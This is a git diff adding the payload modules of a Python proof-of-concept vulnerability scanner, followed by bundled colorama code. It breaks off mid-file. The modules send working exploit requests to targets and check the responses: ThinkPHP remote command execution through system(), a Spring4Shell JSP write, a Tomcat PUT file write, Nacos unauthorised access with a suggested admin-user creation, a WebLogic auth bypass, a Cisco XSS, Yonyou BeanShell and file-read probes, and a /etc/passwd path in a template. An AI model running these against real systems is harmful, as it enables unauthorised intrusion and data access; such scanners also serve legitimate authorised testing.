vul_info['app_name'] = self.app_name + vul_info['vul_type'] = 'unAuthorized' + vul_info['vul_id'] = 'druid-unauth' + vul_info['vul_method'] = 'GET' + vul_info['headers'] = {} + + headers = self.headers + headers.update(vul_info['headers']) + + for payload in self.alibaba_druid_unauthorized_payloads:# * Payload + path = payload['path'] # * Path + data = payload['data'] # * Data + target = url + path # * Target + + vul_info['path'] = path + vul_info['data'] = data + vul_info['target'] = target + + try: + res = requests.get( + target, + timeout=self.timeout, + headers=headers, + data=data, + proxies=self.proxies, + verify=False + ) + vul_info['status_code'] = str(res.status_code) + logger.logging(vul_info) # * LOG + except requests.ConnectTimeout: + vul_info['status_code'] = 'Timeout' + logger.logging(vul_info) + return None + except requests.ConnectionError: + vul_info['status_code'] = 'Faild' + logger.logging(vul_info) + return None + + if ('Stat Index' in res.text): + results = { + 'Target': target, + 'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']], + 'Method': vul_info['vul_method'], + 'Payload': { + 'Url': url, + 'Path': path + } + } + return results + + def addscan(self, url): + return [ + thread(target=self.alibaba_druid_unauthorized_scan, url=url), + ] + +alidruid = Druid() \ No newline at end of file diff --git a/payloads/AlibabaNacos.py b/payloads/AlibabaNacos.py new file mode 100644 index 0000000..40ac335 --- /dev/null +++ b/payloads/AlibabaNacos.py @@ -0,0 +1,105 @@ +#!/usr/bin/env python3 +# -*- coding:utf-8 -*- + +''' + AlibabaNacos扫描类: + Nacos 未授权访问 + CVE-2021-29441(nacos-4593) + https://github.com/alibaba/nacos/issues/4593 +''' + +from lib.initial.config import config +from lib.tool.md5 import md5 +from lib.tool.logger import logger +from lib.tool.thread import thread +from lib.tool import check +from thirdparty import requests + +class Nacos(): + def __init__(self): + self.timeout = config.get('timeout') + self.headers = config.get('headers') + self.proxies = config.get('proxies') + + self.app_name = 'AlibabaNacos' + + self.cve_2021_29441_payloads = [ + { + 'path': 'nacos/v1/auth/users?pageNo=1&pageSize=10', + 'data': '' + }, + { + 'path': 'v1/auth/users?pageNo=1&pageSize=10', + 'data': '' + } + # { 利用漏洞创建后台用户 + # 'path': '/nacos/v1/auth/users?username=mouse&password=mouse', + # 'data': '' + # } + ] + + def cve_2021_29441_scan(self, url): + vul_info = {} + vul_info['app_name'] = self.app_name + vul_info['vul_type'] = 'unAuthorized' + vul_info['vul_id'] = 'CVE-2021-29441' + vul_info['vul_method'] = 'GET' + vul_info['headers'] = { + 'User-Agent': 'Nacos-Server' + } + + headers = self.headers + headers.update(vul_info['headers']) + + for payload in self.cve_2021_29441_payloads: # * Payload + path = payload['path'] # * Path + data = payload['data'] # * Data + target = url + path # * Target + + vul_info['path'] = path + vul_info['data'] = data + vul_info['target'] = target + + try: + res = requests.get( + target, + timeout=self.timeout, + headers=headers, + data=data, + proxies=self.proxies, + verify=False + ) + vul_info['status_code'] = str(res.status_code) + logger.logging(vul_info) # * LOG + except requests.ConnectTimeout: + vul_info['status_code'] = 'Timeout' + logger.logging(vul_info) + return None + except requests.ConnectionError: + vul_info['status_code'] = 'Faild' + logger.logging(vul_info) + return None + + if ('username' in res.text): + results = { + 'Target': target, + 'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']], + 'Payload-See User List': { + 'Method': 'GET', + 'Path': path, + 'Headers': str(vul_info['headers']) + }, + 'Payload-Add User': { + 'Method': 'POST', + 'Path': 'nacos/v1/auth/users?username=mouse&password=mouse', + 'Headers': str(vul_info['headers']) + } + } + return results + + def addscan(self, url): + return [ + thread(target=self.cve_2021_29441_scan, url=url), + ] + +nacos = Nacos() \ No newline at end of file diff --git a/payloads/ApacheTomcat.py b/payloads/ApacheTomcat.py new file mode 100644 index 0000000..b730643 --- /dev/null +++ b/payloads/ApacheTomcat.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python3 +# -*- coding:utf-8 -*- + +''' + ApacheTomcat扫描类: + Tomcat PUT方法任意文件写入漏洞 + CVE-2017-12615 +''' + +from lib.initial.config import config +from lib.tool.md5 import md5 +from lib.tool.logger import logger +from lib.tool.thread import thread +from lib.tool import check +from thirdparty import requests + +class Tomcat(): + def __init__(self): + self.timeout = config.get('timeout') + self.headers = config.get('headers') + self.proxies = config.get('proxies') + + self.app_name = 'ApacheTomcat' + self.md = md5(self.app_name) + self.cmd = 'echo ' + self.md + + self.cve_2017_12615_payloads = [ + { + 'path': 'mouse.jsp/', + 'data': '<% out.println("

    CVE/2017/12615

    "); %>' + } + ] + + def cve_2017_12615_scan(self, url): + vul_info = {} + vul_info['app_name'] = self.app_name + vul_info['vul_type'] = 'Write-File' + vul_info['vul_id'] = 'CVE-2017-12615' + vul_info['vul_method'] = 'PUT' + vul_info['headers'] = {} + + headers = self.headers + headers.update(vul_info['headers']) + + for payload in self.cve_2017_12615_payloads: # * Payload + path = payload['path'] # * Path + data = payload['data'] # * Data + target = url + path # * Target + + vul_info['path'] = path + vul_info['data'] = data + vul_info['target'] = target + + try: + res = requests.put( + target, + timeout=self.timeout, + headers=headers, + data=data, + proxies=self.proxies, + verify=False + ) + + vul_info['status_code'] = str(res.status_code) + logger.logging(vul_info) # * LOG + except requests.ConnectTimeout: + vul_info['status_code'] = 'Timeout' + logger.logging(vul_info) + return None + except requests.ConnectionError: + vul_info['status_code'] = 'Faild' + logger.logging(vul_info) + return None + + verify_url = url + 'mouse.jsp' + verify_res = requests.get( + verify_url, + timeout=self.timeout, + proxies=self.proxies, + verify=False, + allow_redirects=False + ) + + if ((verify_res.status_code == 200) and ('12615' in verify_res.text)): + results = { + 'Target': url, + 'Verify': verify_url, + 'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']], + 'Method': vul_info['vul_method'], + 'Payload': { + 'Url': url, + 'Path': path, + 'Data': data + } + } + return results + + def addscan(self, url): + return [ + thread(target=self.cve_2017_12615_scan, url=url), + ] + +tomcat = Tomcat() \ No newline at end of file diff --git a/payloads/Cisco.py b/payloads/Cisco.py new file mode 100644 index 0000000..7f02a35 --- /dev/null +++ b/payloads/Cisco.py @@ -0,0 +1,91 @@ +#!/usr/bin/env python3 +# -*- coding:utf-8 -*- + +''' + Cisco相关设备/页面扫描类: + Cisco ASA设备/FTD设备 XSS跨站脚本攻击 + CVE-2020-3580 +''' + +from lib.initial.config import config +from lib.tool.md5 import md5 +from lib.tool.logger import logger +from lib.tool.thread import thread +from lib.tool import check +from thirdparty import requests + +class Cisco(): + def __init__(self): + self.timeout = config.get('timeout') + self.headers = config.get('headers') + self.proxies = config.get('proxies') + + self.app_name = 'Cisco' + self.md = md5(self.app_name) + + self.cve_2020_3580_payloads = [ + { + 'path': '+CSCOE+/saml/sp/acs?tgname=a', + 'data': 'SAMLResponse=%22%3e%3csvg%2fonload%3dalert(\'{}\')%3e'.format(self.md) + } + ] + + def cve_2020_3580_scan(self, url): + vul_info = {} + vul_info['app_name'] = self.app_name + vul_info['vul_type'] = 'XSS' + vul_info['vul_id'] = 'CVE-2020-3580' + vul_info['vul_method'] = 'POST' + vul_info['headers'] = {} + + headers = self.headers + headers.update(vul_info['headers']) + + for payload in self.cve_2020_3580_payloads: # * Payload + path = payload['path'] # * Path + data = payload['data'] # * Data + target = url + path # * Target + + vul_info['path'] = path + vul_info['data'] = data + vul_info['target'] = target + + try: + res = requests.post( + target, + timeout=self.timeout, + headers=headers, + data=data, + proxies=self.proxies, + verify=False + ) + vul_info['status_code'] = str(res.status_code) + logger.logging(vul_info) # * LOG + except requests.ConnectTimeout: + vul_info['status_code'] = 'Timeout' + logger.logging(vul_info) + return None + except requests.ConnectionError: + vul_info['status_code'] = 'Faild' + logger.logging(vul_info) + return None + + if self.md in check.check_res(res.text, self.md): + results = { + 'Target': target, + 'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']], + 'Method': vul_info['vul_method'], + 'Payload': { + 'Url': url, + 'Path': path, + 'Data': data + } + } + return results + + def addscan(self, url): + return [ + thread(target=self.cve_2020_3580_scan, url=url) + ] + +cisco = Cisco() \ No newline at end of file diff --git a/payloads/Keycloak.py b/payloads/Keycloak.py new file mode 100644 index 0000000..409fb85 --- /dev/null +++ b/payloads/Keycloak.py @@ -0,0 +1,93 @@ +#!/usr/bin/env python3 +# -*- coding:utf-8 -*- + +''' +还!!!没!!!写!!!好!!! +差dnslog或者ceye.io, 等我学到再说qwq + Keycloak扫描类: + Keycloak SSRF + CVE-2020-10770 + 强制目标服务器使用OIDC参数请求request_uri调用未经验证的URL +''' + +from lib.initial.config import config +from lib.tool.md5 import md5 +from lib.tool.logger import logger +from lib.tool.thread import thread +from lib.tool import check +from thirdparty import requests + +class Keycloak(): + def __init__(self): + self.timeout = config.get('timeout') + self.headers = config.get('headers') + self.proxies = config.get('proxies') + + self.app_name = 'Keycloak' + self.md = md5(self.app_name) + + self.cve_2020_10770_payloads = [ + { + 'path': 'auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=http://127.0.0.1', + 'data': '' + } + ] + + def cve_2020_10770_scan(self, url): + vul_info = {} + vul_info['app_name'] = self.app_name + vul_info['vul_type'] = 'SSRF' + vul_info['vul_id'] = 'CVE-2020-10770' + vul_info['vul_method'] = 'GET' + vul_info['headers'] = {} + + headers = self.headers + headers.update(vul_info['headers']) + + for payload in self.cve_2020_10770_payloads: # * Payload + path = payload['path'] # * Path + data = payload['data'] # * Data + target = url + path # * Target + + vul_info['path'] = path + vul_info['data'] = data + vul_info['target'] = target + + try: + res = requests.post( + target, + timeout=self.timeout, + headers=headers, + data=data, + proxies=self.proxies, + verify=False + ) + vul_info['status_code'] = str(res.status_code) + logger.logging(vul_info) # * LOG + except requests.ConnectTimeout: + vul_info['status_code'] = 'Timeout' + logger.logging(vul_info) + return None + except requests.ConnectionError: + vul_info['status_code'] = 'Faild' + logger.logging(vul_info) + return None + + if res.status_code == 400: + results = { + 'Target': target, + 'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']], + 'Method': vul_info['vul_method'], + 'Payload': { + 'Url': url, + 'Path': path + } + } + return results + + def addscan(self, url): + return [ + thread(target=self.cve_2020_10770_scan, url=url) + ] + +keycloak = Keycloak() \ No newline at end of file diff --git a/payloads/Spring.py b/payloads/Spring.py new file mode 100644 index 0000000..426dd1a --- /dev/null +++ b/payloads/Spring.py @@ -0,0 +1,110 @@ +#!/usr/bin/env python3 +# -*- coding:utf-8 -*- + +''' + Spring扫描类: + Spring Framework RCE(Spring core RCE) + CVE-2022-22965 +''' + +from lib.initial.config import config +from lib.tool.md5 import md5 +from lib.tool.logger import logger +from lib.tool.thread import thread +from lib.tool import check +from thirdparty import requests +from time import sleep + +class Spring(): + def __init__(self): + self.timeout = config.get('timeout') + self.headers = config.get('headers') + self.proxies = config.get('proxies') + + self.app_name = 'Spring' + self.md = md5(self.app_name) + self.cmd = 'echo ' + self.md + + self.cnvd_2018_24942_payloads = [ + { + 'path': '', + 'data': 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20out.println(%22

    {}

    %22)%3B%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=mouse&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat='.format('CVE/2022/22965') + } + ] + + def cve_2022_22965_scan(self, url): + vul_info = {} + vul_info['app_name'] = self.app_name + vul_info['vul_type'] = 'RCE' + vul_info['vul_id'] = 'CVE-2022-22965' + vul_info['vul_method'] = 'POST' + vul_info['headers'] = { + 'suffix': '%>//', + 'c1': 'Runtime', + 'c2': '<%', + 'DNT': '1' + } + + headers = self.headers + headers.update(vul_info['headers']) + + for payload in self.cnvd_2018_24942_payloads: # * Payload + path = payload['path'] # * Path + data = payload['data'] # * Data + target = url + path # * Target + + vul_info['path'] = path + vul_info['data'] = data + vul_info['target'] = target + + try: + res = requests.post( + target, + timeout=self.timeout, + headers=headers, + data=data, + proxies=self.proxies, + verify=False + ) + vul_info['status_code'] = str(res.status_code) + logger.logging(vul_info) # * LOG + except requests.ConnectTimeout: + vul_info['status_code'] = 'Timeout' + logger.logging(vul_info) + return None + except requests.ConnectionError: + vul_info['status_code'] = 'Faild' + logger.logging(vul_info) + return None + + for i in range(5): + sleep(3) # * 延时, 因为命令执行可能有延迟, 要等一会判断结果才准确 + verify_url = url + 'mouse.jsp' + verify_res = requests.get( + verify_url, + timeout=self.timeout, + proxies=self.proxies, + verify=False, + allow_redirects=False + ) + + if ((verify_res.status_code == 200) and (check.check_res(verify_res.text, '22965'))): + results = { + 'Target': target, + 'Verify': verify_url, + 'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']], + 'Method': vul_info['vul_method'], + 'Payload': { + 'url': url, + 'Data': data, + 'Headers': str(vul_info['headers']) + } + } + return results + + def addscan(self, url): + return [ + thread(target=self.cve_2022_22965_scan, url=url) + ] + +spring = Spring() \ No newline at end of file diff --git a/payloads/ThinkPHP.py b/payloads/ThinkPHP.py new file mode 100644 index 0000000..dbd9507 --- /dev/null +++ b/payloads/ThinkPHP.py @@ -0,0 +1,168 @@ +#!/usr/bin/env python3 +# -*- coding:utf-8 -*- + +''' + ThinkPHP扫描类: + ThinkPHP5 未开启强制路由RCE + CNVD-2018-24942 + ThinkPHP5 核心类Request远程代码执行 + CNNVD-201901-445 +''' + +from lib.initial.config import config +from lib.tool.md5 import md5 +from lib.tool.logger import logger +from lib.tool.thread import thread +from lib.tool import check +from thirdparty import requests + +class ThinkPHP(): + def __init__(self): + self.timeout = config.get('timeout') + self.headers = config.get('headers') + self.proxies = config.get('proxies') + + self.app_name = 'ThinkPHP' + self.md = md5(self.app_name) + self.cmd = 'echo ' + self.md + + self.cnvd_2018_24942_payloads = [ + { + 'path': 'index.php?s=index/\\think\Request/input&filter[]=system&data={}'.format(self.cmd), + 'data': '' + }, + { + 'path': 'index.php?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]={}'.format(self.cmd), + 'data': '' + }, + { + 'path': 'index.php?s=index/\\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]={}'.format(self.cmd), + 'data': '' + }, + { + 'path': 'index.php?s=index/\\think\\view\driver\Php/display&content={}'.format(''), + 'data': '' + } + ] + + self.cnnvd_201901_445_payloads = [ + { + 'path': 'index.php?s=captcha', + 'data': '_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]={}'.format(self.cmd) + } + ] + + def cnvd_2018_24942_scan(self, url): + vul_info = {} + vul_info['app_name'] = self.app_name + vul_info['vul_type'] = 'RCE' + vul_info['vul_id'] = 'CNVD-2018-24942' + vul_info['vul_method'] = 'GET' + vul_info['headers'] = {} + + headers = self.headers + headers.update(vul_info['headers']) + + for payload in self.cnvd_2018_24942_payloads: # * Payload + path = payload['path'] # * Path + data = payload['data'] # * Data + target = url + path # * Target + + vul_info['path'] = path + vul_info['data'] = data + vul_info['target'] = target + + try: + res = requests.get( + target, + timeout=self.timeout, + headers=headers, + data=data, + proxies=self.proxies, + verify=False + ) + vul_info['status_code'] = str(res.status_code) + logger.logging(vul_info) # * LOG + except requests.ConnectTimeout: + vul_info['status_code'] = 'Timeout' + logger.logging(vul_info) + return None + except requests.ConnectionError: + vul_info['status_code'] = 'Faild' + logger.logging(vul_info) + return None + + # * 判断扫描结果 + if (self.md in check.check_res(res.text, self.md)) or ('PHP Version' in res.text): + results = { + 'Target': target, + 'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']], + 'Method': vul_info['vul_method'], + 'Payload': { + 'Url': url, + 'Path': path + } + } + return results + + def cnnvd_201901_445_scan(self, url): + vul_info = {} + vul_info['app_name'] = self.app_name + vul_info['vul_type'] = 'RCE' + vul_info['vul_id'] = 'CNNVD-201901-445' + vul_info['vul_method'] = 'POST' + vul_info['headers'] = {} + + headers = self.headers + headers.update(vul_info['headers']) + + for payload in self.cnnvd_201901_445_payloads: # * Payload + path = payload['path'] # * Path + data = payload['data'] # * Data + target = url + path # * Target + + vul_info['path'] = path + vul_info['data'] = data + vul_info['target'] = target + + try: + res = requests.post( + target, + timeout=self.timeout, + headers=headers, + data=data, + proxies=self.proxies, + verify=False + ) + vul_info['status_code'] = str(res.status_code) + logger.logging(vul_info) # * LOG + except requests.ConnectTimeout: + vul_info['status_code'] = 'Timeout' + logger.logging(vul_info) + return None + except requests.ConnectionError: + vul_info['status_code'] = 'Faild' + logger.logging(vul_info) + return None + + # * 判断扫描结果 + if self.md in check.check_res(res.text, self.md): + results = { + 'Target': target, + 'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']], + 'Method': vul_info['vul_method'], + 'Payload': { + 'Url': url, + 'Path': path, + 'Data': data + } + } + return results + + def addscan(self, url): + return [ + thread(target=self.cnvd_2018_24942_scan, url=url), + thread(target=self.cnnvd_201901_445_scan, url=url) + ] + +thinkphp = ThinkPHP() \ No newline at end of file diff --git a/payloads/Weblogic.py b/payloads/Weblogic.py new file mode 100644 index 0000000..b40291f --- /dev/null +++ b/payloads/Weblogic.py @@ -0,0 +1,91 @@ +#!/usr/bin/env python3 +# -*- coding:utf-8 -*- + +''' + Weblogic扫描类: + Weblogic 权限验证绕过漏洞 + CVE-2020-14750 +''' + +from lib.initial.config import config +from lib.tool.md5 import md5 +from lib.tool.logger import logger +from lib.tool.thread import thread +from lib.tool import check +from thirdparty import requests + +class Weblogic(): + def __init__(self): + self.timeout = config.get('timeout') + self.headers = config.get('headers') + self.proxies = config.get('proxies') + + self.app_name = 'Weblogic' + self.md = md5(self.app_name) + self.cmd = 'echo ' + self.md + + self.cve_2020_14750_payloads = [ + { + 'path': 'console/images/%252E./console.portal', + 'data': '' + } + ] + + def cve_2020_14750_scan(self, url): + vul_info = {} + vul_info['app_name'] = self.app_name + vul_info['vul_type'] = 'unAuthorized' + vul_info['vul_id'] = 'CVE-2020-14750' + vul_info['vul_method'] = 'GET' + vul_info['headers'] = {} + + headers = self.headers + headers.update(vul_info['headers']) + + for payload in self.cve_2020_14750_payloads: # * Payload + path = payload['path'] # * Path + data = payload['data'] # * Data + target = url + path # * Target + + vul_info['path'] = path + vul_info['data'] = data + vul_info['target'] = target + + try: + res = requests.get( + target, + timeout=self.timeout, + headers=headers, + data=data, + proxies=self.proxies, + verify=False + ) + vul_info['status_code'] = str(res.status_code) + logger.logging(vul_info) # * LOG + except requests.ConnectTimeout: + vul_info['status_code'] = 'Timeout' + logger.logging(vul_info) + return None + except requests.ConnectionError: + vul_info['status_code'] = 'Faild' + logger.logging(vul_info) + return None + + if ('RAC' in res.text): + results = { + 'Target': target, + 'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']], + 'Method': vul_info['vul_method'], + 'Payload': { + 'Url': url, + 'Path': path + } + } + return results + + def addscan(self, url): + return [ + thread(target=self.cve_2020_14750_scan, url=url), + ] + +weblogic = Weblogic() \ No newline at end of file diff --git a/payloads/Yonyou.py b/payloads/Yonyou.py new file mode 100644 index 0000000..5efcbcc --- /dev/null +++ b/payloads/Yonyou.py @@ -0,0 +1,151 @@ +#!/usr/bin/env python3 +# -*- coding:utf-8 -*- + +''' + Yonyou扫描类: + 用友NC BeanShell远程命令执行漏洞 + CNVD-2021-30167 + 用友ERP-NC NCFindWeb接口任意文件读取/下载漏洞 + 暂无编号 +''' + +from lib.initial.config import config +from lib.tool.md5 import md5 +from lib.tool.logger import logger +from lib.tool.thread import thread +from lib.tool import check +from thirdparty import requests + +class Yonyou(): + def __init__(self): + self.timeout = config.get('timeout') + self.headers = config.get('headers') + self.proxies = config.get('proxies') + + self.app_name = 'Yonyou' + + self.cnvd_2021_30167_payloads = [ + { + 'path': 'servlet/~ic/bsh.servlet.BshServlet', + 'data': '' + } + ] + + self.yonyou_nc_fileRead_payloads = [ + { + 'path': 'NCFindWeb?service=IPreAlertConfigService&filename=WEB-INF/web.xml', + 'data': '' + } + ] + + def cnvd_2021_30167_scan(self, url): + vul_info = {} + vul_info['app_name'] = self.app_name + 'NC' + vul_info['vul_type'] = 'RCE' + vul_info['vul_id'] = 'CNVD-2021-30167' + vul_info['vul_method'] = 'GET' + vul_info['headers'] = {} + + headers = self.headers + headers.update(vul_info['headers']) + + for payload in self.cnvd_2021_30167_payloads: # * Payload + path = payload['path'] # * Path + data = payload['data'] # * Data + target = url + path # * Target + + vul_info['path'] = path + vul_info['data'] = data + vul_info['target'] = target + + try: + res = requests.get( + target, + timeout=self.timeout, + headers=headers, + data=data, + proxies=self.proxies, + verify=False + ) + vul_info['status_code'] = str(res.status_code) + logger.logging(vul_info) # * LOG + except requests.ConnectTimeout: + vul_info['status_code'] = 'Timeout' + logger.logging(vul_info) + return None + except requests.ConnectionError: + vul_info['status_code'] = 'Faild' + logger.logging(vul_info) + return None + + if ('BeanShell' in res.text): + results = { + 'Target': target, + 'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']], + 'Method': vul_info['vul_method'], + 'Payload': { + 'Url': url, + 'Path': path + } + } + return results + + def yonyou_nc_fileRead_scan(self, url): + vul_info = {} + vul_info['app_name'] = self.app_name + 'ERP-NC' + vul_info['vul_type'] = 'FileRead' + vul_info['vul_id'] = 'NC-fileRead' + vul_info['vul_method'] = 'GET' + vul_info['headers'] = {} + + headers = self.headers + headers.update(vul_info['headers']) + + for payload in self.yonyou_nc_fileRead_payloads:# * Payload + path = payload['path'] # * Path + data = payload['data'] # * Data + target = url + path # * Target + + vul_info['path'] = path + vul_info['data'] = data + vul_info['target'] = target + + try: + res = requests.get( + target, + timeout=self.timeout, + headers=headers, + data=data, + proxies=self.proxies, + verify=False + ) + vul_info['status_code'] = str(res.status_code) + logger.logging(vul_info) # * LOG + except requests.ConnectTimeout: + vul_info['status_code'] = 'Timeout' + logger.logging(vul_info) + return None + except requests.ConnectionError: + vul_info['status_code'] = 'Faild' + logger.logging(vul_info) + return None + + if ('XML' in res.text): + results = { + 'Target': target, + 'Type': [vul_info['vul_type'], vul_info['app_name'], vul_info['vul_id']], + 'Method': vul_info['vul_method'], + 'Payload': { + 'Url': url, + 'Path': path + } + } + return results + + def addscan(self, url): + return [ + thread(target=self.cnvd_2021_30167_scan, url=url), + thread(target=self.yonyou_nc_fileRead_scan, url=url), + ] + +yonyou = Yonyou() \ No newline at end of file diff --git a/payloads/demo.py b/payloads/demo.py new file mode 100644 index 0000000..1575334 --- /dev/null +++ b/payloads/demo.py @@ -0,0 +1,106 @@ +#!/usr/bin/env python3 +# -*- coding:utf-8 -*- + +''' + XXXXX扫描类: + XXXXX 未开启强制路由RCE + CNVD-2018-24942 +file:///etc/passwd +file:///C:\Windows\System32\drivers\etc\hosts +''' + +from lib.initial.config import config +from lib.tool.md5 import md5 +from lib.tool.logger import logger +from lib.tool.thread import thread +from lib.tool import check +from thirdparty import requests + +class Demo(): + ''' 标有感叹号!的都需要自己填写 ''' + def __init__(self): + self.timeout = config.get('timeout') + self.headers = config.get('headers') + self.proxies = config.get('proxies') + + self.app_name = '' # ! 漏洞框架/应用程序/CMS等 + self.md = md5(self.app_name) + self.cmd = 'echo ' + self.md + + self.!!!_payloads = [ # ! 对应漏洞的Payload, 格式为: 漏洞编号_payloads, 例如cnvd_2018_24942_payloads + { + 'path': '!!!', # ! 漏洞路径 + 'data': '' # ! POST数据, 没有的话可以不写 + }, + ] + + def !!!_scan(self, url): # ! POC的名称, 格式为: 漏洞编号_scan, 例如cnvd_2018_24942_scan + vul_info = {} + vul_info['app_name'] = self.app_name + vul_info['vul_type'] = '!!!' # ! 漏洞类型 + vul_info['vul_id'] = '!!!' # ! 漏洞编号 + vul_info['vul_method'] = '!!!' # ! 请求方式 + vul_info['headers'] = {} # ! 如果该漏洞需要特殊的Headers,如User-Agent:Nacos-Server, 则需要填写, 没有的话就不用填 + + headers = self.headers + headers.update(vul_info['headers']) # * 合并Headers + + for payload in self.!!!_payloads: # * Payload + path = payload['path'] # * Path + data = payload['data'] # * Data + target = url + path # * Target + + vul_info['path'] = path + vul_info['data'] = data + vul_info['target'] = target + + try: + res = requests.!!!( # ! 请求方式 + target, + timeout=self.timeout, + headers=headers, + data=data, + proxies=self.proxies, + verify=False + ) + vul_info['status_code'] = str(res.status_code) + logger.logging(vul_info) # * LOG + except requests.ConnectTimeout: + vul_info['status_code'] = 'Timeout' + logger.logging(vul_info) + return None + except requests.ConnectionError: + vul_info['status_code'] = 'Faild' + logger.logging(vul_info) + return None + + '''!!! + 可以自定义results中的信息, 格式: + 标题: 值(str/list/dict) + str类型: key: value的格式进行显示 + list类型: 会以key: value value value ...的格式进行显示 + dict类型: 会以↓的格式进行显示 + dict: + key1: value1 + key2: value2 + ... + ''' + if ('!!!'): # ! 判断扫描结果 + results = { + 'Target': target, + 'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']], + 'Method': vul_info['vul_method'], + 'Payload': { + 'Url': url, + 'Path': path + } + } + return results + + def addscan(self, url): + return [ + # * thread(target=self.cnvd_2018_24942_scan, url=url), + thread(target=self.!!!_scan, url=url) # ! POC的名称, 参考上一行 + ] + +demo = Demo() \ No newline at end of file diff --git a/thirdparty/colorama/__init__.py b/thirdparty/colorama/__init__.py new file mode 100644 index 0000000..b149ed7 --- /dev/null +++ b/thirdparty/colorama/__init__.py @@ -0,0 +1,6 @@ +# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. +from .initialise import init, deinit, reinit, colorama_text +from .ansi import Fore, Back, Style, Cursor +from .ansitowin32 import AnsiToWin32 + +__version__ = '0.4.4' diff --git a/thirdparty/colorama/ansi.py b/thirdparty/colorama/ansi.py new file mode 100644 index 0000000..11ec695 --- /dev/null +++ b/thirdparty/colorama/ansi.py @@ -0,0 +1,102 @@ +# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. +''' +This module generates ANSI character codes to printing colors to terminals. +See: http://en.wikipedia.org/wiki/ANSI_escape_code +''' + +CSI = '\033[' +OSC = '\033]' +BEL = '\a' + + +def code_to_chars(code): + return CSI + str(code) + 'm' + +def set_title(title): + return OSC + '2;' + title + BEL + +def clear_screen(mode=2): + return CSI + str(mode) + 'J' + +def clear_line(mode=2): + return CSI + str(mode) + 'K' + + +class AnsiCodes(object): + def __init__(self): + # the subclasses declare class attributes which are numbers. + # Upon instantiation we define instance attributes, which are the same + # as the class attributes but wrapped with the ANSI escape sequence + for name in dir(self): + if not name.startswith('_'): + value = getattr(self, name) + setattr(self, name, code_to_chars(value)) + + +class AnsiCursor(object): + def UP(self, n=1): + return CSI + str(n) + 'A' + def DOWN(self, n=1): + return CSI + str(n) + 'B' + def FORWARD(self, n=1): + return CSI + str(n) + 'C' + def BACK(self, n=1): + return CSI + str(n) + 'D' + def POS(self, x=1, y=1): + return CSI + str(y) + ';' + str(x) + 'H' + + +class AnsiFore(AnsiCodes): + BLACK = 30 + RED = 31 + GREEN = 32 + YELLOW = 33 + BLUE = 34 + MAGENTA = 35 + CYAN = 36 + WHITE = 37 + RESET = 39 + + # These are fairly well supported, but not part of the standard. + LIGHTBLACK_EX = 90 + LIGHTRED_EX = 91 + LIGHTGREEN_EX = 92 + LIGHTYELLOW_EX = 93 + LIGHTBLUE_EX = 94 + LIGHTMAGENTA_EX = 95 + LIGHTCYAN_EX = 96 + LIGHTWHITE_EX = 97 + + +class AnsiBack(AnsiCodes): + BLACK = 40 + RED = 41 + GREEN = 42 + YELLOW = 43 + BLUE = 44 + MAGENTA = 45 + CYAN = 46 + WHITE = 47 + RESET = 49 + + # These are fairly well supported, but not part of the standard. + LIGHTBLACK_EX = 100 + LIGHTRED_EX = 101 + LIGHTGREEN_EX = 102 + LIGHTYELLOW_EX = 103 + LIGHTBLUE_EX = 104 + LIGHTMAGENTA_EX = 105 + LIGHTCYAN_EX = 106 + LIGHTWHITE_EX = 107 + + +class AnsiStyle(AnsiCodes): + BRIGHT = 1 + DIM = 2 + NORMAL = 22 + RESET_ALL = 0 + +Fore = AnsiFore() +Back = AnsiBack() +Style = AnsiStyle() +Cursor = AnsiCursor() diff --git a/thirdparty/colorama/ansitowin32.py b/thirdparty/colorama/ansitowin32.py new file mode 100644 index 0000000..6039a05 --- /dev/null +++ b/thirdparty/colorama/ansitowin32.py @@ -0,0 +1,258 @@ +# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. +import re +import sys +import os + +from .ansi import AnsiFore, AnsiBack, AnsiStyle, Style, BEL +from .winterm import WinTerm, WinColor, WinStyle +from .win32 import windll, winapi_test + + +winterm = None +if windll is not None: + winterm = WinTerm() + + +class StreamWrapper(object): + ''' + Wraps a stream (such as stdout), acting as a transparent proxy for all + attribute access apart from method 'write()', which is delegated to our + Converter instance. + ''' + def __init__(self, wrapped, converter): + # double-underscore everything to prevent clashes with names of + # attributes on the wrapped stream object. + self.__wrapped = wrapped + self.__convertor = converter + + def __getattr__(self, name): + return getattr(self.__wrapped, name) + + def __enter__(self, *args, **kwargs): + # special method lookup bypasses __getattr__/__getattribute__, see + # https://stackoverflow.com/questions/12632894/why-doesnt-getattr-work-with-exit + # thus, contextlib magic methods are not proxied via __getattr__ + return self.__wrapped.__enter__(*args, **kwargs) + + def __exit__(self, *args, **kwargs): + return self.__wrapped.__exit__(*args, **kwargs) + + def write(self, text): + self.__convertor.write(text) + + def isatty(self): + stream = self.__wrapped + if 'PYCHARM_HOSTED' in os.environ: + if stream is not None and (stream is sys.__stdout__ or stream is sys.__stderr__): + return True + try: + stream_isatty = stream.isatty + except AttributeError: + return False + else: + return stream_isatty() + + @property + def closed(self): + stream = self.__wrapped + try: + return stream.closed + except AttributeError: + return True + + +class AnsiToWin32(object): + 